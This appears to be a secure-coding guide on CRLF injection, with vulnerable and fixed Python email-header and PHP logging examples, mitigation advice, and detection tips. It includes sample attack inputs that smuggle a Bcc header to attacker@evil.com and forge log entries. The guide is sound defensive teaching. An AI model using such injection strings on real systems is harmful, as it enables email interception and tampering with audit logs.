CRLF injection occurs when an application accepts user input and uses it to construct messages, headers, or records that rely on carriage return \r and line…
CRLF injection occurs when an application accepts user input and uses it to construct messages, headers, or records that rely on carriage return (\r) and line feed (\n) characters as delimiters, without first removing or encoding those characters. An attacker can inject their own CRLF sequences to break out of the intended structure and inject malicious content — such as fake email headers, HTTP response headers, or log entries — that the application then processes as legitimate.
Many protocols and file formats use CRLF (\r\n) as a line separator: email headers, HTTP responses, CSV files, and log files all depend on this boundary to distinguish one record or header from the next. When an application constructs these structures by concatenating user input directly without sanitization, an attacker can embed CRLF characters in their input to create fake lines. The application then treats the injected content as part of the legitimate structure, allowing the attacker to forge headers, inject log entries, or manipulate the protocol flow.
CRLF injection can lead to email spoofing (injecting fake To: or Subject: headers), HTTP response splitting (injecting fake response headers or even a second HTTP response), log file poisoning (inserting false entries to cover tracks or mislead administrators), and cache poisoning. In email contexts, an attacker might inject a Bcc: header to receive a copy of a password-reset email. In HTTP contexts, an attacker might inject a Set-Cookie: header to hijack sessions. The severity depends on what protocol or format is being manipulated and what trust is placed in the resulting output.
import smtplib
def send_notification(user_email, subject):
message = f"To: {user_email}\r\nSubject: {subject}\r\n\nNotification body"
# Directly concatenating user input into email headers
smtp = smtplib.SMTP("localhost")
smtp.sendmail("noreply@example.com", user_email, message)
smtp.quit()
# Attacker input: "user@example.com\r\nBcc: attacker@evil.com"
send_notification("user@example.com\r\nBcc: attacker@evil.com", "Welcome")Why it's vulnerable:
The user_email and subject parameters are inserted directly into the email headers without removing or encoding CRLF characters. An attacker can inject \r\n to create new header lines, such as a Bcc: header to intercept the email.
import smtplib
import email.mime.text
def send_notification(user_email, subject):
# Remove any CRLF characters from user input
user_email = user_email.replace("\r", "").replace("\n", "")
subject = subject.replace("\r", "").replace("\n", "")
msg = email.mime.text.MIMEText("Notification body")
msg["To"] = user_email
msg["Subject"] = subject
msg["From"] = "noreply@example.com"
smtp = smtplib.SMTP("localhost")
smtp.sendmail("noreply@example.com", user_email, msg.as_string())
smtp.quit()<?php
function log_user_action($username, $action) {
$log_entry = "User: $username | Action: $action | Time: " . date("Y-m-d H:i:s") . "\n";
file_put_contents("activity.log", $log_entry, FILE_APPEND);
}
// Attacker input: "admin\nUser: attacker | Action: unauthorized_access"
log_user_action($_GET["username"], $_GET["action"]);
?>Why it's vulnerable:
User input is concatenated directly into the log entry without sanitization. An attacker can inject newline characters to create fake log entries that appear to be legitimate records.
<?php
function log_user_action($username, $action) {
// Remove CRLF characters from user input
$username = str_replace(["\r", "\n"], "", $username);
$action = str_replace(["\r", "\n"], "", $action);
$log_entry = "User: $username | Action: $action | Time: " . date("Y-m-d H:i:s") . "\n";
file_put_contents("activity.log", $log_entry, FILE_APPEND);
}
log_user_action($_GET["username"], $_GET["action"]);
?>\r and \n characters.
email.mime module, PHP's wp_mail()) that handle header construction safely.
\r\n sequences in your security testing of input fields, especially those used in email, logging, or header contexts.
Check your email logs and application logs for suspicious entries: look for unexpected header lines (e.g., Bcc:, Cc:, or Reply-To: headers appearing in log records), entries that appear to be from different users or timestamps than expected, or gaps in log sequence that suggest injected records. If you find evidence of forged email headers or log entries with embedded newlines, investigate whether user input was sanitized at the time those entries were created.
